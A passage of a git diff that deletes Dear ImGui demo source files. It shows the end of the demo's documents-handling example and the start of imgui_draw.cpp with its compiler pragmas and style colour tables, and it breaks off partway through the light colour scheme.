Foreground draw list", &draw_fg); - ImGui::SameLine(); HelpMarker("The Foreground draw list will be rendered over every Dear ImGui windows."); - ImVec2 window_pos = ImGui::GetWindowPos(); - ImVec2 window_size = ImGui::GetWindowSize(); - ImVec2 window_center = ImVec2(window_pos.x + window_size.x * 0.5f, window_pos.y + window_size.y * 0.5f); - if (draw_bg) - ImGui::GetBackgroundDrawList()->AddCircle(window_center, window_size.x * 0.6f, IM_COL32(255, 0, 0, 200), 0, 10 + 4); - if (draw_fg) - ImGui::GetForegroundDrawList()->AddCircle(window_center, window_size.y * 0.6f, IM_COL32(0, 255, 0, 200), 0, 10); - ImGui::EndTabItem(); - } - - ImGui::EndTabBar(); - } - - ImGui::End(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Example App: Documents Handling / ShowExampleAppDocuments() -//----------------------------------------------------------------------------- - -// Simplified structure to mimic a Document model -struct MyDocument -{ - const char* Name; // Document title - bool Open; // Set when open (we keep an array of all available documents to simplify demo code!) - bool OpenPrev; // Copy of Open from last update. - bool Dirty; // Set when the document has been modified - bool WantClose; // Set when the document - ImVec4 Color; // An arbitrary variable associated to the document - - MyDocument(const char* name, bool open = true, const ImVec4& color = ImVec4(1.0f, 1.0f, 1.0f, 1.0f)) - { - Name = name; - Open = OpenPrev = open; - Dirty = false; - WantClose = false; - Color = color; - } - void DoOpen() { Open = true; } - void DoQueueClose() { WantClose = true; } - void DoForceClose() { Open = false; Dirty = false; } - void DoSave() { Dirty = false; } - - // Display placeholder contents for the Document - static void DisplayContents(MyDocument* doc) - { - ImGui::PushID(doc); - ImGui::Text("Document \"%s\"", doc->Name); - ImGui::PushStyleColor(ImGuiCol_Text, doc->Color); - ImGui::TextWrapped("Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua."); - ImGui::PopStyleColor(); - if (ImGui::Button("Modify", ImVec2(100, 0))) - doc->Dirty = true; - ImGui::SameLine(); - if (ImGui::Button("Save", ImVec2(100, 0))) - doc->DoSave(); - ImGui::ColorEdit3("color", &doc->Color.x); // Useful to test drag and drop and hold-dragged-to-open-tab behavior. - ImGui::PopID(); - } - - // Display context menu for the Document - static void DisplayContextMenu(MyDocument* doc) - { - if (!ImGui::BeginPopupContextItem()) - return; - - char buf[256]; - sprintf(buf, "Save %s", doc->Name); - if (ImGui::MenuItem(buf, "CTRL+S", false, doc->Open)) - doc->DoSave(); - if (ImGui::MenuItem("Close", "CTRL+W", false, doc->Open)) - doc->DoQueueClose(); - ImGui::EndPopup(); - } -}; - -struct ExampleAppDocuments -{ - ImVector Documents; - - ExampleAppDocuments() - { - Documents.push_back(MyDocument("Lettuce", true, ImVec4(0.4f, 0.8f, 0.4f, 1.0f))); - Documents.push_back(MyDocument("Eggplant", true, ImVec4(0.8f, 0.5f, 1.0f, 1.0f))); - Documents.push_back(MyDocument("Carrot", true, ImVec4(1.0f, 0.8f, 0.5f, 1.0f))); - Documents.push_back(MyDocument("Tomato", false, ImVec4(1.0f, 0.3f, 0.4f, 1.0f))); - Documents.push_back(MyDocument("A Rather Long Title", false)); - Documents.push_back(MyDocument("Some Document", false)); - } -}; - -// [Optional] Notify the system of Tabs/Windows closure that happened outside the regular tab interface. -// If a tab has been closed programmatically (aka closed from another source such as the Checkbox() in the demo, -// as opposed to clicking on the regular tab closing button) and stops being submitted, it will take a frame for -// the tab bar to notice its absence. During this frame there will be a gap in the tab bar, and if the tab that has -// disappeared was the selected one, the tab bar will report no selected tab during the frame. This will effectively -// give the impression of a flicker for one frame. -// We call SetTabItemClosed() to manually notify the Tab Bar or Docking system of removed tabs to avoid this glitch. -// Note that this completely optional, and only affect tab bars with the ImGuiTabBarFlags_Reorderable flag. -static void NotifyOfDocumentsClosedElsewhere(ExampleAppDocuments& app) -{ - for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) - { - MyDocument* doc = &app.Documents[doc_n]; - if (!doc->Open && doc->OpenPrev) - ImGui::SetTabItemClosed(doc->Name); - doc->OpenPrev = doc->Open; - } -} - -void ShowExampleAppDocuments(bool* p_open) -{ - static ExampleAppDocuments app; - - // Options - static bool opt_reorderable = true; - static ImGuiTabBarFlags opt_fitting_flags = ImGuiTabBarFlags_FittingPolicyDefault_; - - bool window_contents_visible = ImGui::Begin("Example: Documents", p_open, ImGuiWindowFlags_MenuBar); - if (!window_contents_visible) - { - ImGui::End(); - return; - } - - // Menu - if (ImGui::BeginMenuBar()) - { - if (ImGui::BeginMenu("File")) - { - int open_count = 0; - for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) - open_count += app.Documents[doc_n].Open ? 1 : 0; - - if (ImGui::BeginMenu("Open", open_count < app.Documents.Size)) - { - for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) - { - MyDocument* doc = &app.Documents[doc_n]; - if (!doc->Open) - if (ImGui::MenuItem(doc->Name)) - doc->DoOpen(); - } - ImGui::EndMenu(); - } - if (ImGui::MenuItem("Close All Documents", NULL, false, open_count > 0)) - for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) - app.Documents[doc_n].DoQueueClose(); - if (ImGui::MenuItem("Exit", "Alt+F4")) {} - ImGui::EndMenu(); - } - ImGui::EndMenuBar(); - } - - // [Debug] List documents with one checkbox for each - for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) - { - MyDocument* doc = &app.Documents[doc_n]; - if (doc_n > 0) - ImGui::SameLine(); - ImGui::PushID(doc); - if (ImGui::Checkbox(doc->Name, &doc->Open)) - if (!doc->Open) - doc->DoForceClose(); - ImGui::PopID(); - } - - ImGui::Separator(); - - // Submit Tab Bar and Tabs - { - ImGuiTabBarFlags tab_bar_flags = (opt_fitting_flags) | (opt_reorderable ? ImGuiTabBarFlags_Reorderable : 0); - if (ImGui::BeginTabBar("##tabs", tab_bar_flags)) - { - if (opt_reorderable) - NotifyOfDocumentsClosedElsewhere(app); - - // [DEBUG] Stress tests - //if ((ImGui::GetFrameCount() % 30) == 0) docs[1].Open ^= 1; // [DEBUG] Automatically show/hide a tab. Test various interactions e.g. dragging with this on. - //if (ImGui::GetIO().KeyCtrl) ImGui::SetTabItemSelected(docs[1].Name); // [DEBUG] Test SetTabItemSelected(), probably not very useful as-is anyway.. - - // Submit Tabs - for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) - { - MyDocument* doc = &app.Documents[doc_n]; - if (!doc->Open) - continue; - - ImGuiTabItemFlags tab_flags = (doc->Dirty ? ImGuiTabItemFlags_UnsavedDocument : 0); - bool visible = ImGui::BeginTabItem(doc->Name, &doc->Open, tab_flags); - - // Cancel attempt to close when unsaved add to save queue so we can display a popup. - if (!doc->Open && doc->Dirty) - { - doc->Open = true; - doc->DoQueueClose(); - } - - MyDocument::DisplayContextMenu(doc); - if (visible) - { - MyDocument::DisplayContents(doc); - ImGui::EndTabItem(); - } - } - - ImGui::EndTabBar(); - } - } - - // Update closing queue - static ImVector close_queue; - if (close_queue.empty()) - { - // Close queue is locked once we started a popup - for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) - { - MyDocument* doc = &app.Documents[doc_n]; - if (doc->WantClose) - { - doc->WantClose = false; - close_queue.push_back(doc); - } - } - } - - // Display closing confirmation UI - if (!close_queue.empty()) - { - int close_queue_unsaved_documents = 0; - for (int n = 0; n < close_queue.Size; n++) - if (close_queue[n]->Dirty) - close_queue_unsaved_documents++; - - if (close_queue_unsaved_documents == 0) - { - // Close documents when all are unsaved - for (int n = 0; n < close_queue.Size; n++) - close_queue[n]->DoForceClose(); - close_queue.clear(); - } - else - { - if (!ImGui::IsPopupOpen("Save?")) - ImGui::OpenPopup("Save?"); - if (ImGui::BeginPopupModal("Save?", NULL, ImGuiWindowFlags_AlwaysAutoResize)) - { - ImGui::Text("Save change to the following items?"); - float item_height = ImGui::GetTextLineHeightWithSpacing(); - if (ImGui::BeginChildFrame(ImGui::GetID("frame"), ImVec2(-FLT_MIN, 6.25f * item_height))) - { - for (int n = 0; n < close_queue.Size; n++) - if (close_queue[n]->Dirty) - ImGui::Text("%s", close_queue[n]->Name); - ImGui::EndChildFrame(); - } - - ImVec2 button_size(ImGui::GetFontSize() * 7.0f, 0.0f); - if (ImGui::Button("Yes", button_size)) - { - for (int n = 0; n < close_queue.Size; n++) - { - if (close_queue[n]->Dirty) - close_queue[n]->DoSave(); - close_queue[n]->DoForceClose(); - } - close_queue.clear(); - ImGui::CloseCurrentPopup(); - } - ImGui::SameLine(); - if (ImGui::Button("No", button_size)) - { - for (int n = 0; n < close_queue.Size; n++) - close_queue[n]->DoForceClose(); - close_queue.clear(); - ImGui::CloseCurrentPopup(); - } - ImGui::SameLine(); - if (ImGui::Button("Cancel", button_size)) - { - close_queue.clear(); - ImGui::CloseCurrentPopup(); - } - ImGui::EndPopup(); - } - } - } - - ImGui::End(); -} - -// End of Demo code -#else - -void ImGui::ShowAboutWindow(bool*) {} -void ImGui::ShowDemoWindow(bool*) {} -void ImGui::ShowUserGuide() {} -void ImGui::ShowStyleEditor(ImGuiStyle*) {} - -#endif - -#endif // #ifndef IMGUI_DISABLE diff --git a/demos/DemoImGui/imgui_draw.cpp b/demos/DemoImGui/imgui_draw.cpp deleted file mode 100644 index 7e18b4b..0000000 --- a/demos/DemoImGui/imgui_draw.cpp +++ /dev/null @@ -1,3971 +0,0 @@ -// dear imgui, v1.82 WIP -// (drawing and font code) - -/* - -Index of this file: - -// [SECTION] STB libraries implementation -// [SECTION] Style functions -// [SECTION] ImDrawList -// [SECTION] ImDrawListSplitter -// [SECTION] ImDrawData -// [SECTION] Helpers ShadeVertsXXX functions -// [SECTION] ImFontConfig -// [SECTION] ImFontAtlas -// [SECTION] ImFontAtlas glyph ranges helpers -// [SECTION] ImFontGlyphRangesBuilder -// [SECTION] ImFont -// [SECTION] ImGui Internal Render Helpers -// [SECTION] Decompression code -// [SECTION] Default font data (ProggyClean.ttf) - -*/ - -#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) -#define _CRT_SECURE_NO_WARNINGS -#endif - -#include "imgui.h" -#ifndef IMGUI_DISABLE - -#ifndef IMGUI_DEFINE_MATH_OPERATORS -#define IMGUI_DEFINE_MATH_OPERATORS -#endif - -#include "imgui_internal.h" -#ifdef IMGUI_ENABLE_FREETYPE -#include "misc/freetype/imgui_freetype.h" -#endif - -#include // vsnprintf, sscanf, printf -#if !defined(alloca) -#if defined(__GLIBC__) || defined(__sun) || defined(__APPLE__) || defined(__NEWLIB__) -#include // alloca (glibc uses . Note that Cygwin may have _WIN32 defined, so the order matters here) -#elif defined(_WIN32) -#include // alloca -#if !defined(alloca) -#define alloca _alloca // for clang with MS Codegen -#endif -#else -#include // alloca -#endif -#endif - -// Visual Studio warnings -#ifdef _MSC_VER -#pragma warning (disable: 4127) // condition expression is constant -#pragma warning (disable: 4505) // unreferenced local function has been removed (stb stuff) -#pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen -#endif - -// Clang/GCC warnings with -Weverything -#if defined(__clang__) -#if __has_warning("-Wunknown-warning-option") -#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' // not all warnings are known by all Clang versions and they tend to be rename-happy.. so ignoring warnings triggers new warnings on some configuration. Great! -#endif -#if __has_warning("-Walloca") -#pragma clang diagnostic ignored "-Walloca" // warning: use of function '__builtin_alloca' is discouraged -#endif -#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' -#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse. -#pragma clang diagnostic ignored "-Wfloat-equal" // warning: comparing floating point with == or != is unsafe // storing and comparing against same constants ok. -#pragma clang diagnostic ignored "-Wglobal-constructors" // warning: declaration requires a global destructor // similar to above, not sure what the exact difference is. -#pragma clang diagnostic ignored "-Wsign-conversion" // warning: implicit conversion changes signedness -#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning: zero as null pointer constant // some standard header variations use #define NULL 0 -#pragma clang diagnostic ignored "-Wcomma" // warning: possible misuse of comma operator here -#pragma clang diagnostic ignored "-Wreserved-id-macro" // warning: macro name is a reserved identifier -#pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double. -#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision -#elif defined(__GNUC__) -#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind -#pragma GCC diagnostic ignored "-Wunused-function" // warning: 'xxxx' defined but not used -#pragma GCC diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function -#pragma GCC diagnostic ignored "-Wconversion" // warning: conversion to 'xxxx' from 'xxxx' may alter its value -#pragma GCC diagnostic ignored "-Wstack-protector" // warning: stack protector not protecting local variables: variable length buffer -#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead -#endif - -//------------------------------------------------------------------------- -// [SECTION] STB libraries implementation -//------------------------------------------------------------------------- - -// Compile time options: -//#define IMGUI_STB_NAMESPACE ImStb -//#define IMGUI_STB_TRUETYPE_FILENAME "my_folder/stb_truetype.h" -//#define IMGUI_STB_RECT_PACK_FILENAME "my_folder/stb_rect_pack.h" -//#define IMGUI_DISABLE_STB_TRUETYPE_IMPLEMENTATION -//#define IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION - -#ifdef IMGUI_STB_NAMESPACE -namespace IMGUI_STB_NAMESPACE -{ -#endif - -#ifdef _MSC_VER -#pragma warning (push) -#pragma warning (disable: 4456) // declaration of 'xx' hides previous local declaration -#endif - -#if defined(__clang__) -#pragma clang diagnostic push -#pragma clang diagnostic ignored "-Wunused-function" -#pragma clang diagnostic ignored "-Wmissing-prototypes" -#pragma clang diagnostic ignored "-Wimplicit-fallthrough" -#pragma clang diagnostic ignored "-Wcast-qual" // warning: cast from 'const xxxx *' to 'xxx *' drops const qualifier -#endif - -#if defined(__GNUC__) -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wtype-limits" // warning: comparison is always true due to limited range of data type [-Wtype-limits] -#pragma GCC diagnostic ignored "-Wcast-qual" // warning: cast from type 'const xxxx *' to type 'xxxx *' casts away qualifiers -#endif - -#ifndef STB_RECT_PACK_IMPLEMENTATION // in case the user already have an implementation in the _same_ compilation unit (e.g. unity builds) -#ifndef IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION // in case the user already have an implementation in another compilation unit -#define STBRP_STATIC -#define STBRP_ASSERT(x) do { IM_ASSERT(x); } while (0) -#define STBRP_SORT ImQsort -#define STB_RECT_PACK_IMPLEMENTATION -#endif -#ifdef IMGUI_STB_RECT_PACK_FILENAME -#include IMGUI_STB_RECT_PACK_FILENAME -#else -#include "imstb_rectpack.h" -#endif -#endif - -#ifdef IMGUI_ENABLE_STB_TRUETYPE -#ifndef STB_TRUETYPE_IMPLEMENTATION // in case the user already have an implementation in the _same_ compilation unit (e.g. unity builds) -#ifndef IMGUI_DISABLE_STB_TRUETYPE_IMPLEMENTATION // in case the user already have an implementation in another compilation unit -#define STBTT_malloc(x,u) ((void)(u), IM_ALLOC(x)) -#define STBTT_free(x,u) ((void)(u), IM_FREE(x)) -#define STBTT_assert(x) do { IM_ASSERT(x); } while(0) -#define STBTT_fmod(x,y) ImFmod(x,y) -#define STBTT_sqrt(x) ImSqrt(x) -#define STBTT_pow(x,y) ImPow(x,y) -#define STBTT_fabs(x) ImFabs(x) -#define STBTT_ifloor(x) ((int)ImFloorStd(x)) -#define STBTT_iceil(x) ((int)ImCeil(x)) -#define STBTT_STATIC -#define STB_TRUETYPE_IMPLEMENTATION -#else -#define STBTT_DEF extern -#endif -#ifdef IMGUI_STB_TRUETYPE_FILENAME -#include IMGUI_STB_TRUETYPE_FILENAME -#else -#include "imstb_truetype.h" -#endif -#endif -#endif // IMGUI_ENABLE_STB_TRUETYPE - -#if defined(__GNUC__) -#pragma GCC diagnostic pop -#endif - -#if defined(__clang__) -#pragma clang diagnostic pop -#endif - -#if defined(_MSC_VER) -#pragma warning (pop) -#endif - -#ifdef IMGUI_STB_NAMESPACE -} // namespace ImStb -using namespace IMGUI_STB_NAMESPACE; -#endif - -//----------------------------------------------------------------------------- -// [SECTION] Style functions -//----------------------------------------------------------------------------- - -void ImGui::StyleColorsDark(ImGuiStyle* dst) -{ - ImGuiStyle* style = dst ? dst : &ImGui::GetStyle(); - ImVec4* colors = style->Colors; - - colors[ImGuiCol_Text] = ImVec4(1.00f, 1.00f, 1.00f, 1.00f); - colors[ImGuiCol_TextDisabled] = ImVec4(0.50f, 0.50f, 0.50f, 1.00f); - colors[ImGuiCol_WindowBg] = ImVec4(0.06f, 0.06f, 0.06f, 0.94f); - colors[ImGuiCol_ChildBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); - colors[ImGuiCol_PopupBg] = ImVec4(0.08f, 0.08f, 0.08f, 0.94f); - colors[ImGuiCol_Border] = ImVec4(0.43f, 0.43f, 0.50f, 0.50f); - colors[ImGuiCol_BorderShadow] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); - colors[ImGuiCol_FrameBg] = ImVec4(0.16f, 0.29f, 0.48f, 0.54f); - colors[ImGuiCol_FrameBgHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.40f); - colors[ImGuiCol_FrameBgActive] = ImVec4(0.26f, 0.59f, 0.98f, 0.67f); - colors[ImGuiCol_TitleBg] = ImVec4(0.04f, 0.04f, 0.04f, 1.00f); - colors[ImGuiCol_TitleBgActive] = ImVec4(0.16f, 0.29f, 0.48f, 1.00f); - colors[ImGuiCol_TitleBgCollapsed] = ImVec4(0.00f, 0.00f, 0.00f, 0.51f); - colors[ImGuiCol_MenuBarBg] = ImVec4(0.14f, 0.14f, 0.14f, 1.00f); - colors[ImGuiCol_ScrollbarBg] = ImVec4(0.02f, 0.02f, 0.02f, 0.53f); - colors[ImGuiCol_ScrollbarGrab] = ImVec4(0.31f, 0.31f, 0.31f, 1.00f); - colors[ImGuiCol_ScrollbarGrabHovered] = ImVec4(0.41f, 0.41f, 0.41f, 1.00f); - colors[ImGuiCol_ScrollbarGrabActive] = ImVec4(0.51f, 0.51f, 0.51f, 1.00f); - colors[ImGuiCol_CheckMark] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); - colors[ImGuiCol_SliderGrab] = ImVec4(0.24f, 0.52f, 0.88f, 1.00f); - colors[ImGuiCol_SliderGrabActive] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); - colors[ImGuiCol_Button] = ImVec4(0.26f, 0.59f, 0.98f, 0.40f); - colors[ImGuiCol_ButtonHovered] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); - colors[ImGuiCol_ButtonActive] = ImVec4(0.06f, 0.53f, 0.98f, 1.00f); - colors[ImGuiCol_Header] = ImVec4(0.26f, 0.59f, 0.98f, 0.31f); - colors[ImGuiCol_HeaderHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.80f); - colors[ImGuiCol_HeaderActive] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); - colors[ImGuiCol_Separator] = colors[ImGuiCol_Border]; - colors[ImGuiCol_SeparatorHovered] = ImVec4(0.10f, 0.40f, 0.75f, 0.78f); - colors[ImGuiCol_SeparatorActive] = ImVec4(0.10f, 0.40f, 0.75f, 1.00f); - colors[ImGuiCol_ResizeGrip] = ImVec4(0.26f, 0.59f, 0.98f, 0.20f); - colors[ImGuiCol_ResizeGripHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.67f); - colors[ImGuiCol_ResizeGripActive] = ImVec4(0.26f, 0.59f, 0.98f, 0.95f); - colors[ImGuiCol_Tab] = ImLerp(colors[ImGuiCol_Header], colors[ImGuiCol_TitleBgActive], 0.80f); - colors[ImGuiCol_TabHovered] = colors[ImGuiCol_HeaderHovered]; - colors[ImGuiCol_TabActive] = ImLerp(colors[ImGuiCol_HeaderActive], colors[ImGuiCol_TitleBgActive], 0.60f); - colors[ImGuiCol_TabUnfocused] = ImLerp(colors[ImGuiCol_Tab], colors[ImGuiCol_TitleBg], 0.80f); - colors[ImGuiCol_TabUnfocusedActive] = ImLerp(colors[ImGuiCol_TabActive], colors[ImGuiCol_TitleBg], 0.40f); - colors[ImGuiCol_PlotLines] = ImVec4(0.61f, 0.61f, 0.61f, 1.00f); - colors[ImGuiCol_PlotLinesHovered] = ImVec4(1.00f, 0.43f, 0.35f, 1.00f); - colors[ImGuiCol_PlotHistogram] = ImVec4(0.90f, 0.70f, 0.00f, 1.00f); - colors[ImGuiCol_PlotHistogramHovered] = ImVec4(1.00f, 0.60f, 0.00f, 1.00f); - colors[ImGuiCol_TableHeaderBg] = ImVec4(0.19f, 0.19f, 0.20f, 1.00f); - colors[ImGuiCol_TableBorderStrong] = ImVec4(0.31f, 0.31f, 0.35f, 1.00f); // Prefer using Alpha=1.0 here - colors[ImGuiCol_TableBorderLight] = ImVec4(0.23f, 0.23f, 0.25f, 1.00f); // Prefer using Alpha=1.0 here - colors[ImGuiCol_TableRowBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); - colors[ImGuiCol_TableRowBgAlt] = ImVec4(1.00f, 1.00f, 1.00f, 0.06f); - colors[ImGuiCol_TextSelectedBg] = ImVec4(0.26f, 0.59f, 0.98f, 0.35f); - colors[ImGuiCol_DragDropTarget] = ImVec4(1.00f, 1.00f, 0.00f, 0.90f); - colors[ImGuiCol_NavHighlight] = ImVec4(0.26f, 0.59f, 0.98f, 1.00f); - colors[ImGuiCol_NavWindowingHighlight] = ImVec4(1.00f, 1.00f, 1.00f, 0.70f); - colors[ImGuiCol_NavWindowingDimBg] = ImVec4(0.80f, 0.80f, 0.80f, 0.20f); - colors[ImGuiCol_ModalWindowDimBg] = ImVec4(0.80f, 0.80f, 0.80f, 0.35f); -} - -void ImGui::StyleColorsClassic(ImGuiStyle* dst) -{ - ImGuiStyle* style = dst ? dst : &ImGui::GetStyle(); - ImVec4* colors = style->Colors; - - colors[ImGuiCol_Text] = ImVec4(0.90f, 0.90f, 0.90f, 1.00f); - colors[ImGuiCol_TextDisabled] = ImVec4(0.60f, 0.60f, 0.60f, 1.00f); - colors[ImGuiCol_WindowBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.85f); - colors[ImGuiCol_ChildBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); - colors[ImGuiCol_PopupBg] = ImVec4(0.11f, 0.11f, 0.14f, 0.92f); - colors[ImGuiCol_Border] = ImVec4(0.50f, 0.50f, 0.50f, 0.50f); - colors[ImGuiCol_BorderShadow] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); - colors[ImGuiCol_FrameBg] = ImVec4(0.43f, 0.43f, 0.43f, 0.39f); - colors[ImGuiCol_FrameBgHovered] = ImVec4(0.47f, 0.47f, 0.69f, 0.40f); - colors[ImGuiCol_FrameBgActive] = ImVec4(0.42f, 0.41f, 0.64f, 0.69f); - colors[ImGuiCol_TitleBg] = ImVec4(0.27f, 0.27f, 0.54f, 0.83f); - colors[ImGuiCol_TitleBgActive] = ImVec4(0.32f, 0.32f, 0.63f, 0.87f); - colors[ImGuiCol_TitleBgCollapsed] = ImVec4(0.40f, 0.40f, 0.80f, 0.20f); - colors[ImGuiCol_MenuBarBg] = ImVec4(0.40f, 0.40f, 0.55f, 0.80f); - colors[ImGuiCol_ScrollbarBg] = ImVec4(0.20f, 0.25f, 0.30f, 0.60f); - colors[ImGuiCol_ScrollbarGrab] = ImVec4(0.40f, 0.40f, 0.80f, 0.30f); - colors[ImGuiCol_ScrollbarGrabHovered] = ImVec4(0.40f, 0.40f, 0.80f, 0.40f); - colors[ImGuiCol_ScrollbarGrabActive] = ImVec4(0.41f, 0.39f, 0.80f, 0.60f); - colors[ImGuiCol_CheckMark] = ImVec4(0.90f, 0.90f, 0.90f, 0.50f); - colors[ImGuiCol_SliderGrab] = ImVec4(1.00f, 1.00f, 1.00f, 0.30f); - colors[ImGuiCol_SliderGrabActive] = ImVec4(0.41f, 0.39f, 0.80f, 0.60f); - colors[ImGuiCol_Button] = ImVec4(0.35f, 0.40f, 0.61f, 0.62f); - colors[ImGuiCol_ButtonHovered] = ImVec4(0.40f, 0.48f, 0.71f, 0.79f); - colors[ImGuiCol_ButtonActive] = ImVec4(0.46f, 0.54f, 0.80f, 1.00f); - colors[ImGuiCol_Header] = ImVec4(0.40f, 0.40f, 0.90f, 0.45f); - colors[ImGuiCol_HeaderHovered] = ImVec4(0.45f, 0.45f, 0.90f, 0.80f); - colors[ImGuiCol_HeaderActive] = ImVec4(0.53f, 0.53f, 0.87f, 0.80f); - colors[ImGuiCol_Separator] = ImVec4(0.50f, 0.50f, 0.50f, 0.60f); - colors[ImGuiCol_SeparatorHovered] = ImVec4(0.60f, 0.60f, 0.70f, 1.00f); - colors[ImGuiCol_SeparatorActive] = ImVec4(0.70f, 0.70f, 0.90f, 1.00f); - colors[ImGuiCol_ResizeGrip] = ImVec4(1.00f, 1.00f, 1.00f, 0.10f); - colors[ImGuiCol_ResizeGripHovered] = ImVec4(0.78f, 0.82f, 1.00f, 0.60f); - colors[ImGuiCol_ResizeGripActive] = ImVec4(0.78f, 0.82f, 1.00f, 0.90f); - colors[ImGuiCol_Tab] = ImLerp(colors[ImGuiCol_Header], colors[ImGuiCol_TitleBgActive], 0.80f); - colors[ImGuiCol_TabHovered] = colors[ImGuiCol_HeaderHovered]; - colors[ImGuiCol_TabActive] = ImLerp(colors[ImGuiCol_HeaderActive], colors[ImGuiCol_TitleBgActive], 0.60f); - colors[ImGuiCol_TabUnfocused] = ImLerp(colors[ImGuiCol_Tab], colors[ImGuiCol_TitleBg], 0.80f); - colors[ImGuiCol_TabUnfocusedActive] = ImLerp(colors[ImGuiCol_TabActive], colors[ImGuiCol_TitleBg], 0.40f); - colors[ImGuiCol_PlotLines] = ImVec4(1.00f, 1.00f, 1.00f, 1.00f); - colors[ImGuiCol_PlotLinesHovered] = ImVec4(0.90f, 0.70f, 0.00f, 1.00f); - colors[ImGuiCol_PlotHistogram] = ImVec4(0.90f, 0.70f, 0.00f, 1.00f); - colors[ImGuiCol_PlotHistogramHovered] = ImVec4(1.00f, 0.60f, 0.00f, 1.00f); - colors[ImGuiCol_TableHeaderBg] = ImVec4(0.27f, 0.27f, 0.38f, 1.00f); - colors[ImGuiCol_TableBorderStrong] = ImVec4(0.31f, 0.31f, 0.45f, 1.00f); // Prefer using Alpha=1.0 here - colors[ImGuiCol_TableBorderLight] = ImVec4(0.26f, 0.26f, 0.28f, 1.00f); // Prefer using Alpha=1.0 here - colors[ImGuiCol_TableRowBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); - colors[ImGuiCol_TableRowBgAlt] = ImVec4(1.00f, 1.00f, 1.00f, 0.07f); - colors[ImGuiCol_TextSelectedBg] = ImVec4(0.00f, 0.00f, 1.00f, 0.35f); - colors[ImGuiCol_DragDropTarget] = ImVec4(1.00f, 1.00f, 0.00f, 0.90f); - colors[ImGuiCol_NavHighlight] = colors[ImGuiCol_HeaderHovered]; - colors[ImGuiCol_NavWindowingHighlight] = ImVec4(1.00f, 1.00f, 1.00f, 0.70f); - colors[ImGuiCol_NavWindowingDimBg] = ImVec4(0.80f, 0.80f, 0.80f, 0.20f); - colors[ImGuiCol_ModalWindowDimBg] = ImVec4(0.20f, 0.20f, 0.20f, 0.35f); -} - -// Those light colors are better suited with a thicker font than the default one + FrameBorder -void ImGui::StyleColorsLight(ImGuiStyle* dst) -{ - ImGuiStyle* style = dst ? dst : &ImGui::GetStyle(); - ImVec4* colors = style->Colors; - - colors[ImGuiCol_Text] = ImVec4(0.00f, 0.00f, 0.00f, 1.00f); - colors[ImGuiCol_TextDisabled] = ImVec4(0.60f, 0.60f, 0.60f, 1.00f); - colors[ImGuiCol_WindowBg] = ImVec4(0.94f, 0.94f, 0.94f, 1.00f); - colors[ImGuiCol_ChildBg] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); - colors[ImGuiCol_PopupBg] = ImVec4(1.00f, 1.00f, 1.00f, 0.98f); - colors[ImGuiCol_Border] = ImVec4(0.00f, 0.00f, 0.00f, 0.30f); - colors[ImGuiCol_BorderShadow] = ImVec4(0.00f, 0.00f, 0.00f, 0.00f); - colors[ImGuiCol_FrameBg] = ImVec4(1.00f, 1.00f, 1.00f, 1.00f); - colors[ImGuiCol_FrameBgHovered] = ImVec4(0.26f, 0.59f, 0.98f, 0.40f); - colors[ImGuiCol_FrameBgActive] = ImVec4(0.26f, 0.59f, 0.98f, 0.67f); - colors[ImGuiCol_TitleBg] = ImVec4(0.96f, 0.96f, 0.96f, 1.00f); - colors[ImGuiCol_TitleBgActive] = ImVec4(0.82f, 0.82f, 0.82f, 1.00f); - colors[ImGuiCol_TitleBgCollapsed] = ImVec4(1.00f, 1.00f, 1.00f, 0.51f); - colors[ImGuiCol_MenuBarBg] = ImVec4(0.86f, 0.86f, 0.86f, 1.00f); - colors[ImGuiCol_ScrollbarBg] = ImVec4(0.98f, 0.98f, 0.98f, 0.53f); - colors[ImGuiCol_ScrollbarGrab] = ImVec4(0.69f, 0.69f, 0.69f, 0.80f); - colors[ImGuiCol_ScrollbarGrabHovered] = ImVec4(0.49f, 0.49f, 0.49f, 0.80f); - colors[ImGuiCol_ScrollbarGrabActive] = ImVec4(0.49f, 0.49f, 0.49f, 1.00f); - colors[ImGuiCol_CheckMark] = ImVec4(0.26f, 